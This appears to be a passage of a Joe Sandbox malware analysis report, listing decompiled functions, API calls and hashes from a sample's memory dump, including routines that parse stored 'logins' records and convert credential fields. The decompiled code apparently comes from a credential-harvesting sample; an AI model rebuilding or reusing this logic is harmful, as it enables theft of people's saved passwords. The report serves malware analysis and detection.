                                                                                                                            0x0040dcc3
                                                                                                                            0x0040dccb
                                                                                                                            0x0040dcd3
                                                                                                                            0x0040dcdf

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040DBCD
                                                                                                                            • memset.MSVCRT ref: 0040DBE9
                                                                                                                              • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                              • Part of subcall function 004447D9: ??2@YAPAXI@Z.MSVCRT ref: 0044480A
                                                                                                                              • Part of subcall function 004447D9: _snwprintf.MSVCRT ref: 0044488A
                                                                                                                              • Part of subcall function 004447D9: wcscpy.MSVCRT ref: 004448B4
                                                                                                                            • wcscpy.MSVCRT ref: 0040DC2D
                                                                                                                            • wcscpy.MSVCRT ref: 0040DC3C
                                                                                                                            • wcscpy.MSVCRT ref: 0040DC4C
                                                                                                                            • EnumResourceNamesW.KERNEL32(?,00000004,Function_0000D957,00000000), ref: 0040DCB1
                                                                                                                            • EnumResourceNamesW.KERNEL32(?,00000005,Function_0000D957,00000000), ref: 0040DCBB
                                                                                                                            • wcscpy.MSVCRT ref: 0040DCC3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscpy$EnumNamesResourcememset$??2@FileModuleName_snwprintf
                                                                                                                            • String ID: RTL$TranslatorName$TranslatorURL$Version$general$strings
                                                                                                                            • API String ID: 3330709923-517860148
                                                                                                                            • Opcode ID: 8014600ebdaa413990019ca607550d51b11cce94ae1a09dd3fff3b2e07bb1862
                                                                                                                            • Instruction ID: fd1c33b42c1478e8908a3567a27dc6f764f3595523656020fa754494b197929d
                                                                                                                            • Opcode Fuzzy Hash: 8014600ebdaa413990019ca607550d51b11cce94ae1a09dd3fff3b2e07bb1862
                                                                                                                            • Instruction Fuzzy Hash: 2121ACB2D4021876D720B7929C46ECF7B6CAF41759F010477B90C72083DAB95B98CAAE
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00407FDF Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 228COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 85%
                                                                                                                            			E00407FDF(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short* _v28;
				short* _v32;
				short* _v36;
				short* _v40;
				short* _v44;
				char _v120;
				char _v192;
				intOrPtr _v200;
				int _v204;
				int _v208;
				int _v212;
				int _v216;
				int _v220;
				int _v224;
				char _v1248;
				char _v2272;
				char _v3296;
				char _v4320;
				char _v5344;
				void _v6367;
				char _v6368;
				void _v7391;
				int _v7392;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t63;
				short* _t70;
				void* _t78;
				intOrPtr _t97;
				void* _t116;
				int _t118;
				void* _t128;
				void* _t129;
				intOrPtr _t135;
				void* _t137;
				void* _t141;
				void* _t143;

				_t144 = __eflags;
				0x44db70();
				_push(_t116);
				_push(_t137);
				_push(_t129);
				_t63 = E0040CC26(_t116, _t129, _t137, _t144, E0040CBE1(__eflags), _a12);
				_t145 = _t63;
				if(_t63 != 0) {
					E0040CF04( &_v192, _t145);
					_t128 = E0040CCF0( &_v192, "logins");
					_t118 = 0;
					_t146 = _t128;
					if(_t128 != 0) {
						E0040CBE1(_t146);
						_t122 =  *((intOrPtr*)(_t128 + 4));
						_t70 = E0040A9B5( *((intOrPtr*)(_t128 + 8)),  *((intOrPtr*)(_t128 + 4)));
						_t147 = _t70;
						if(_t70 == 0) {
							_t70 = 0x44e518;
						}
						E0040CCB4( &_v120, _t70);
						while(E0040CF04( &_v120, _t147) != 0) {
							_v6368 = _t118;
							memset( &_v6367, _t118, 0x3ff);
							memset( &_v5344, _t118, 0x141c);
							_t143 = _t141 + 0x18;
							_t78 = E0040B2CC(_t122, __eflags, 0x12d);
							_t134 =  &_v120;
							_v40 = E0040CCCC( &_v120, _t78);
							_v44 = E0040CCCC( &_v120, E0040B2CC(_t122, __eflags, 0x12e));
							_v28 = E0040CCCC( &_v120, E0040B2CC(_t122, __eflags, 0x12f));
							_v36 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x130));
							_v32 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x131));
							_v12 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x132));
							_v16 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x133));
							_v20 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x134));
							_v24 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x135));
							_t97 = E0040CCCC(_t134, E0040B2CC(_t122, __eflags, 0x136));
							__eflags = _v16 - _t118;
							_t135 = _t97;
							_v220 = _t118;
							_v224 = _t118;
							if(_v16 != _t118) {
								_t97 = E00407FC3(_t97, _t128, _v16);
								_t118 = 0;
								__eflags = 0;
							}
							__eflags = _v20 - _t118;
							_v212 = _t118;
							_v216 = _t118;
							if(_v20 != _t118) {
								_t97 = E00407FC3(_t97, _t128, _v20);
								_t118 = 0;
								__eflags = 0;
							}
							__eflags = _v24 - _t118;
							_v204 = _t118;
							_v208 = _t118;
							if(_v24 != _t118) {
								_t97 = E00407FC3(_t97, _t128, _v24);
								_t118 = 0;
								__eflags = 0;
							}
							__eflags = _t135 - _t118;
							if(_t135 != _t118) {
								0x446634(_t135);
								_v200 = _t97;
							}
							0x44662e(_v12, "null");
							__eflags = _t97;
							if(_t97 == 0) {
								_v12 = 0x44e518;
							}
							_v7392 = _t118;
							memset( &_v7391, _t118, 0x3ff);
							_t141 = _t143 + 0xc;
							E0040A6E6(_a8,  &_v7392);
							_pop(_t122);
							WideCharToMultiByte(0xfde9, _t118, _v40, 0xffffffff,  &_v6368, 0x3ff, _t118, _t118);
							WideCharToMultiByte(0xfde9, _t118, _v44, 0xffffffff,  &_v5344, 0x3ff, _t118, _t118);
							WideCharToMultiByte(0xfde9, _t118, _v28, 0xffffffff,  &_v4320, 0x3ff, _t118, _t118);
							WideCharToMultiByte(0xfde9, _t118, _v36, 0xffffffff,  &_v3296, 0x3ff, _t118, _t118);
							WideCharToMultiByte(0xfde9, _t118, _v32, 0xffffffff,  &_v2272, 0x3ff, _t118, _t118);
							WideCharToMultiByte(0xfde9, _t118, _v12, 0xffffffff,  &_v1248, 0x3ff, _t118, _t118);
							E00407E1E(_t128,  &_v6368, _a4, _a12, 0x20);
						}
						E0040CC0C( &_v120);
					}
				}
				return E0040CC0C( &_v192);
			}













































                                                                                                                            0x00407fdf
                                                                                                                            0x00407fe7
                                                                                                                            0x00407fec
                                                                                                                            0x00407fed
                                                                                                                            0x00407fee
                                                                                                                            0x00407ffe
                                                                                                                            0x00408003
                                                                                                                            0x00408005
                                                                                                                            0x00408011
                                                                                                                            0x00408020
                                                                                                                            0x00408022
                                                                                                                            0x00408024
                                                                                                                            0x00408026
                                                                                                                            0x0040802f
                                                                                                                            0x00408034
                                                                                                                            0x0040803a
                                                                                                                            0x0040803f
                                                                                                                            0x00408041
                                                                                                                            0x00408043
                                                                                                                            0x00408043
                                                                                                                            0x0040804c
                                                                                                                            0x004082a0
                                                                                                                            0x00408064
                                                                                                                            0x0040806a
                                                                                                                            0x0040807f
                                                                                                                            0x00408084
                                                                                                                            0x0040808c
                                                                                                                            0x00408092
                                                                                                                            0x0040809f
                                                                                                                            0x004080b2
                                                                                                                            0x004080c5
                                                                                                                            0x004080d8
                                                                                                                            0x004080eb
                                                                                                                            0x004080fe
                                                                                                                            0x00408111
                                                                                                                            0x00408124
                                                                                                                            0x00408137
                                                                                                                            0x00408140
                                                                                                                            0x00408145
                                                                                                                            0x00408148
                                                                                                                            0x0040814a
                                                                                                                            0x00408150
                                                                                                                            0x00408156
                                                                                                                            0x00408161
                                                                                                                            0x00408166
                                                                                                                            0x00408166
                                                                                                                            0x00408166
                                                                                                                            0x00408168
                                                                                                                            0x0040816b
                                                                                                                            0x00408171
                                                                                                                            0x00408177
                                                                                                                            0x00408182
                                                                                                                            0x00408187
                                                                                                                            0x00408187
                                                                                                                            0x00408187
                                                                                                                            0x00408189
                                                                                                                            0x0040818c
                                                                                                                            0x00408192
                                                                                                                            0x00408198
                                                                                                                            0x004081a3
                                                                                                                            0x004081a8
                                                                                                                            0x004081a8
                                                                                                                            0x004081a8
                                                                                                                            0x004081aa
                                                                                                                            0x004081ac
                                                                                                                            0x004081af
                                                                                                                            0x004081b5
                                                                                                                            0x004081b5
                                                                                                                            0x004081c3
                                                                                                                            0x004081c8
                                                                                                                            0x004081cc
                                                                                                                            0x004081ce
                                                                                                                            0x004081ce
                                                                                                                            0x004081de
                                                                                                                            0x004081e4
                                                                                                                            0x004081e9
                                                                                                                            0x004081f6
                                                                                                                            0x00408202
                                                                                                                            0x00408218
                                                                                                                            0x0040822f
                                                                                                                            0x00408246
                                                                                                                            0x0040825d
                                                                                                                            0x00408274
                                                                                                                            0x0040828b
                                                                                                                            0x0040829b
                                                                                                                            0x0040829b
                                                                                                                            0x004082b0
                                                                                                                            0x004082b0
                                                                                                                            0x00408026
                                                                                                                            0x004082c4

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                              • Part of subcall function 0040CC26: FindCloseChangeNotification.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                                                              • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                                                            • memset.MSVCRT ref: 0040806A
                                                                                                                            • memset.MSVCRT ref: 0040807F
                                                                                                                            • _wtoi.MSVCRT ref: 004081AF
                                                                                                                            • _wcsicmp.MSVCRT ref: 004081C3
                                                                                                                            • memset.MSVCRT ref: 004081E4
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0000012E,000000FF,?,000003FF,00000000,00000000,0000012E,00000000,0000012D,?,?,?,?,?), ref: 00408218
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040822F
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 00408246
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040825D
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 00408274
                                                                                                                              • Part of subcall function 00407FC3: _wtoi64.MSVCRT ref: 00407FC7
                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040828B
                                                                                                                              • Part of subcall function 00407E1E: memset.MSVCRT ref: 00407E44
                                                                                                                              • Part of subcall function 00407E1E: memset.MSVCRT ref: 00407E5B
                                                                                                                              • Part of subcall function 00407E1E: _mbscpy.MSVCRT ref: 00407E7E
                                                                                                                              • Part of subcall function 00407E1E: _mbscpy.MSVCRT ref: 00407ED7
                                                                                                                              • Part of subcall function 00407E1E: _mbscpy.MSVCRT ref: 00407EEE
                                                                                                                              • Part of subcall function 00407E1E: _mbscpy.MSVCRT ref: 00407F01
                                                                                                                              • Part of subcall function 00407E1E: wcscpy.MSVCRT ref: 00407F10
                                                                                                                              • Part of subcall function 00407E1E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F36
                                                                                                                              • Part of subcall function 00407E1E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F50
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharMultiWide$memset$_mbscpy$_wcsicmp$ChangeCloseFileFindNotificationSize_wtoi_wtoi64wcscpy
                                                                                                                            • String ID: logins$null
                                                                                                                            • API String ID: 3492182834-2163367763
                                                                                                                            • Opcode ID: 09a376002f14fa1f9e0d48ac719059c44ef41498ede045729c177772a5669da3
                                                                                                                            • Instruction ID: fdf7b148d119976dec4a4ca0125bd44813aaa3c4ab878784613783167982a03f
                                                                                                                            • Opcode Fuzzy Hash: 09a376002f14fa1f9e0d48ac719059c44ef41498ede045729c177772a5669da3
                                                                                                                            • Instruction Fuzzy Hash: 48713371904219AEEF10BBA2DD82DDF767DEF00318F10457FB508B61C2DA785E458BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408560 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 182stringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 58%
                                                                                                                            			E00408560(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v12;
				int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				void _v1051;
				char _v1052;
				void _v2075;
				char _v2076;
				char _v4156;
				char _v5180;
				char _v6204;
				void _v7228;
				void _v8251;
				char _v8252;
				void* __ebx;
				void* __esi;
				void* _t66;
				intOrPtr _t68;
				int _t83;
				int _t85;
				char* _t94;
				void* _t105;
				void* _t111;
				intOrPtr _t114;
				long _t118;
				char _t119;
				void* _t121;
				void* _t125;

				_t111 = __edx;
				0x44db70();
				_t66 = E004096C3(_a12);
				_v28 = _t66;
				if(_t66 != 0xffffffff) {
					_t118 = GetFileSize(_t66, 0);
					if(_t118 > 0) {
						_t3 = _t118 + 1; // 0x1
						_t68 = _t3;
						0x44665e();
						_t105 = _t68;
						_t114 = _t68;
						_v20 = _t114;
						E0040A2EF(_t105, _v28, _t114, _t118);
						 *((char*)(_t114 + _t118)) = 0;
						_v24 = 0;
						_v1052 = 0;
						memset( &_v1051, 0, 0x3ff);
						_t119 = 0;
						_v16 = 0;
						_v12 = 0;
						_v8 = 0;
						_v8252 = 0;
						memset( &_v8251, 0, 0x3ff);
						memset( &_v7228, 0, 0x141c);
						_t125 = _t121 + 0x30;
						if(E00407D9C(_v20, _t105,  &_v1052,  &_v24) != 0) {
							L5:
							while(1) {
								if(_v16 > 0) {
									_t83 = strcmp( &_v1052, 0x452f0c);
									_pop(_t105);
									if(_t83 != 0) {
										__eflags = _v12;
										if(_v12 != 0) {
											__eflags = _t119;
											if(_t119 != 0) {
												__eflags = _t119 - 1;
												if(_t119 != 1) {
													__eflags = _t119 - 2;
													if(_t119 != 2) {
														__eflags = _t119 - 3;
														if(_t119 != 3) {
															__eflags = _t119 - 4;
															if(__eflags != 0) {
																if(__eflags > 0) {
																	__eflags = _v1052;
																	if(_v1052 == 0) {
																		L26:
																		_v8 = 0;
																	} else {
																		_t85 = strcmp( &_v1052, "---");
																		__eflags = _t85;
																		_pop(_t105);
																		if(_t85 == 0) {
																			goto L26;
																		}
																	}
																}
															} else {
																0x446676( &_v6204,  &_v1052);
																_v2076 = 0;
																memset( &_v2075, 0, 0x3ff);
																_t125 = _t125 + 0x14;
																E0040A6E6(_a8,  &_v2076);
																_pop(_t105);
																E00407E1E(_t111,  &_v8252, _a4, _a12, _a16);
																_v7228 = 0;
																_v6204 = 0;
																_v5180 = 0;
																_v4156 = 0;
															}
														} else {
															_push( &_v1052);
															_t94 =  &_v4156;
															goto L20;
														}
													} else {
														_push( &_v1052);
														_t94 =  &_v7228;
														goto L20;
													}
												} else {
													_push( &_v1052);
													_t94 =  &_v5180;
													goto L20;
												}
											} else {
												_push( &_v1052);
												_t94 =  &_v8252;
												L20:
												0x446676();
												_t105 = _t94;
											}
											_t56 =  &_v8;
											 *_t56 = _v8 + 1;
											__eflags =  *_t56;
										}
									} else {
										if(_v12 == 0) {
											_v12 = 1;
										} else {
											_v7228 = 0;
											_v6204 = 0;
											_v5180 = 0;
											_v4156 = 0;
											_v8252 = 0;
										}
										_v8 = 0;
									}
								}
								_v16 = _v16 + 1;
								if(E00407D9C(_v20, _t105,  &_v1052,  &_v24) != 0) {
									_t119 = _v8;
									continue;
								}
								goto L29;
							}
						}
						L29:
						0x446664(_v20);
					}
					_t66 = CloseHandle(_v28);
				}
				return _t66;
			}

































                                                                                                                            0x00408560
                                                                                                                            0x00408568
                                                                                                                            0x00408573
                                                                                                                            0x0040857c
                                                                                                                            0x0040857f
                                                                                                                            0x0040858f
                                                                                                                            0x00408593
                                                                                                                            0x00408599
                                                                                                                            0x00408599
                                                                                                                            0x0040859d
                                                                                                                            0x004085a2
                                                                                                                            0x004085a3
                                                                                                                            0x004085aa
                                                                                                                            0x004085ad
                                                                                                                            0x004085b2
                                                                                                                            0x004085c6
                                                                                                                            0x004085c9
                                                                                                                            0x004085cf
                                                                                                                            0x004085df
                                                                                                                            0x004085e2
                                                                                                                            0x004085e5
                                                                                                                            0x004085e8
                                                                                                                            0x004085eb
                                                                                                                            0x004085f1
                                                                                                                            0x00408606
                                                                                                                            0x0040860e
                                                                                                                            0x00408623
                                                                                                                            0x00000000
                                                                                                                            0x0040862e
                                                                                                                            0x00408633
                                                                                                                            0x00408645
                                                                                                                            0x0040864d
                                                                                                                            0x0040864e
                                                                                                                            0x00408684
                                                                                                                            0x00408687
                                                                                                                            0x0040868d
                                                                                                                            0x0040868f
                                                                                                                            0x004086a0
                                                                                                                            0x004086a3
                                                                                                                            0x004086b4
                                                                                                                            0x004086b7
                                                                                                                            0x004086c8
                                                                                                                            0x004086cb
                                                                                                                            0x004086e7
                                                                                                                            0x004086ea
                                                                                                                            0x00408755
                                                                                                                            0x00408757
                                                                                                                            0x0040875d
                                                                                                                            0x00408776
                                                                                                                            0x00408776
                                                                                                                            0x0040875f
                                                                                                                            0x0040876b
                                                                                                                            0x00408770
                                                                                                                            0x00408773
                                                                                                                            0x00408774
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00408774
                                                                                                                            0x0040875d
                                                                                                                            0x004086ec
                                                                                                                            0x004086fa
                                                                                                                            0x00408708
                                                                                                                            0x0040870e
                                                                                                                            0x00408713
                                                                                                                            0x00408720
                                                                                                                            0x00408726
                                                                                                                            0x00408736
                                                                                                                            0x0040873b
                                                                                                                            0x00408741
                                                                                                                            0x00408747
                                                                                                                            0x0040874d
                                                                                                                            0x0040874d
                                                                                                                            0x004086cd
                                                                                                                            0x004086d3
                                                                                                                            0x004086d4
                                                                                                                            0x00000000
                                                                                                                            0x004086d4
                                                                                                                            0x004086b9
                                                                                                                            0x004086bf
                                                                                                                            0x004086c0
                                                                                                                            0x00000000
                                                                                                                            0x004086c0
                                                                                                                            0x004086a5
                                                                                                                            0x004086ab
                                                                                                                            0x004086ac
                                                                                                                            0x00000000
                                                                                                                            0x004086ac
                                                                                                                            0x00408691
                                                                                                                            0x00408697
                                                                                                                            0x00408698
                                                                                                                            0x004086da
                                                                                                                            0x004086db
                                                                                                                            0x004086e1
                                                                                                                            0x004086e1
                                                                                                                            0x00408779
                                                                                                                            0x00408779
                                                                                                                            0x00408779
                                                                                                                            0x00408779
                                                                                                                            0x00408650
                                                                                                                            0x00408653
                                                                                                                            0x00408675
                                                                                                                            0x00408655
                                                                                                                            0x00408655
                                                                                                                            0x0040865b
                                                                                                                            0x00408661
                                                                                                                            0x00408667
                                                                                                                            0x0040866d
                                                                                                                            0x0040866d
                                                                                                                            0x0040867c
                                                                                                                            0x0040867c
                                                                                                                            0x0040864e
                                                                                                                            0x0040877f
                                                                                                                            0x00408794
                                                                                                                            0x0040862b
                                                                                                                            0x00000000
                                                                                                                            0x0040862b
                                                                                                                            0x00000000
                                                                                                                            0x00408794
                                                                                                                            0x0040862e
                                                                                                                            0x0040879a
                                                                                                                            0x0040879d
                                                                                                                            0x004087a2
                                                                                                                            0x004087a6
                                                                                                                            0x004087a6
                                                                                                                            0x004087b0

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,00000001,00000000,?,004089ED,?,?,?,0000001E,?,?,00000104), ref: 00408589
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040859D
                                                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                            • memset.MSVCRT ref: 004085CF
                                                                                                                            • memset.MSVCRT ref: 004085F1
                                                                                                                            • memset.MSVCRT ref: 00408606
                                                                                                                            • strcmp.MSVCRT ref: 00408645
                                                                                                                            • _mbscpy.MSVCRT ref: 004086DB
                                                                                                                            • _mbscpy.MSVCRT ref: 004086FA
                                                                                                                            • memset.MSVCRT ref: 0040870E
                                                                                                                            • strcmp.MSVCRT ref: 0040876B
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040879D
                                                                                                                            • CloseHandle.KERNEL32(?,?,004089ED,?,?,?,0000001E,?,?,00000104,?,?,00000104,?,?,00000104), ref: 004087A6
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$File$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
                                                                                                                            • String ID: ---
                                                                                                                            • API String ID: 3437578500-2854292027
                                                                                                                            • Opcode ID: c5c02c04611bcd29229c4833ebed6afde2d02892c84083fd30bc2caee93791c4
                                                                                                                            • Instruction ID: 4c5fbc017ddd4a43d5b0f69e9578b2b0908928dff5e121bfcb53d45818d158f6
                                                                                                                            • Opcode Fuzzy Hash: c5c02c04611bcd29229c4833ebed6afde2d02892c84083fd30bc2caee93791c4
                                                                                                                            • Instruction Fuzzy Hash: 256191B2C0421DAADF20DB948D819DEBBBCAB15314F1140FFE558B3141DA399BC4CBA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041083A Relevance: 21.1, APIs: 14, Instructions: 137windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 46%
                                                                                                                            			E0041083A(void* __eax) {
				struct _SHFILEINFOW _v692;
				void _v1214;
				short _v1216;
				void* _v1244;
				void* _v1248;
				intOrPtr _v1256;
				intOrPtr _v1260;
				intOrPtr _v1264;
				void* _v1280;
				void* _t37;
				long _t39;
				long _t47;
				intOrPtr _t50;
				long _t61;
				void* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;

				_t67 =  *0x44e018; // 0x70062980
				_t65 = __eax;
				if( *((intOrPtr*)(__eax + 0x2a8)) != 0) {
					if( *((intOrPtr*)(__eax + 0x2b0)) == 0) {
						_t50 =  *_t67(0x10, 0x10, 0x19, 1, 1);
						 *((intOrPtr*)(__eax + 0x29c)) = _t50;
						 *0x44e020(_t50, 9);
						_push( *((intOrPtr*)(__eax + 0x29c)));
					} else {
						_v692.hIcon = 0;
						memset( &(_v692.iIcon), 0, 0x2b0);
						_v1216 = 0;
						memset( &_v1214, 0, 0x208);
						GetWindowsDirectoryW( &_v1216, 0x104);
						_t61 = SHGetFileInfoW( &_v1216, 0,  &_v692, 0x2b4, 0x4001);
						 *(_t65 + 0x29c) = _t61;
						_push(_t61);
					}
					SendMessageW( *(_t65 + 0x294), 0x1003, 1, ??);
				}
				if( *((intOrPtr*)(_t65 + 0x2ac)) != 0) {
					_t47 =  *_t67(0x20, 0x20, 0x19, 1, 1);
					 *(_t65 + 0x2a0) = _t47;
					 *0x44e020(_t47, 9);
					SendMessageW( *(_t65 + 0x294), 0x1003, 0,  *(_t65 + 0x2a0));
				}
				 *(_t65 + 0x298) =  *_t67(0x10, 0x10, 0x19, 1, 1);
				_v1248 = LoadImageW(GetModuleHandleW(0), 0x85, 0, 0x10, 0x10, 0x1000);
				_t37 = LoadImageW(GetModuleHandleW(0), 0x86, 0, 0x10, 0x10, 0x1000);
				_v1244 = _t37;
				 *0x44e020( *(_t65 + 0x298), 0);
				_t39 = GetSysColor(0xf);
				_t69 =  *0x44e01c; // 0x7004c7a0
				_v1248 = _t39;
				 *_t69( *(_t65 + 0x298), _v1256, _t39);
				 *_t69( *(_t65 + 0x298), _v1264, _v1260);
				DeleteObject(_v1280);
				DeleteObject(_v1280);
				return SendMessageW(E004046D6( *(_t65 + 0x294)), 0x1208, 0,  *(_t65 + 0x298));
			}




















                                                                                                                            0x00410842
                                                                                                                            0x00410849
                                                                                                                            0x0041085a
                                                                                                                            0x00410866
                                                                                                                            0x004108db
                                                                                                                            0x004108e0
                                                                                                                            0x004108e6
                                                                                                                            0x004108ec
                                                                                                                            0x00410868
                                                                                                                            0x00410876
                                                                                                                            0x0041087d
                                                                                                                            0x0041088d
                                                                                                                            0x00410892
                                                                                                                            0x004108a4
                                                                                                                            0x004108c2
                                                                                                                            0x004108c8
                                                                                                                            0x004108ce
                                                                                                                            0x004108ce
                                                                                                                            0x004108ff
                                                                                                                            0x004108ff
                                                                                                                            0x00410907
                                                                                                                            0x00410913
                                                                                                                            0x00410918
                                                                                                                            0x0041091e
                                                                                                                            0x00410936
                                                                                                                            0x00410936
                                                                                                                            0x0041094b
                                                                                                                            0x0041096a
                                                                                                                            0x00410980
                                                                                                                            0x0041098d
                                                                                                                            0x00410991
                                                                                                                            0x00410999
                                                                                                                            0x0041099f
                                                                                                                            0x004109aa
                                                                                                                            0x004109b4
                                                                                                                            0x004109c4
                                                                                                                            0x004109d0
                                                                                                                            0x004109d6
                                                                                                                            0x004109ff

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0041087D
                                                                                                                            • memset.MSVCRT ref: 00410892
                                                                                                                            • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                                                                                                                            • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                                                                                                                            • SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                                                                                                                            • SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                                                                                                                            • LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                                                                                                                            • LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                                                                                                                            • GetSysColor.USER32(0000000F), ref: 00410999
                                                                                                                            • DeleteObject.GDI32(?), ref: 004109D0
                                                                                                                            • DeleteObject.GDI32(?), ref: 004109D6
                                                                                                                            • SendMessageW.USER32(00000000,00001208,00000000,?), ref: 004109F3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MessageSend$DeleteHandleImageLoadModuleObjectmemset$ColorDirectoryFileInfoWindows
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1010922700-0
                                                                                                                            • Opcode ID: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                                                                                                                            • Instruction ID: e9b684d61d60cc1afb152275eb3c8de820581b68aaecd99ee02cab8be193ddee
                                                                                                                            • Opcode Fuzzy Hash: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                                                                                                                            • Instruction Fuzzy Hash: 48418575640304BFF720AF61DC8AF97779CFB09744F000829F399A51E1D6F6A8909B29
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00418680 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                            • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                                                            • malloc.MSVCRT ref: 004186B7
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 004186C7
                                                                                                                            • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 004186DB
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 004186E0
                                                                                                                            • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186F6
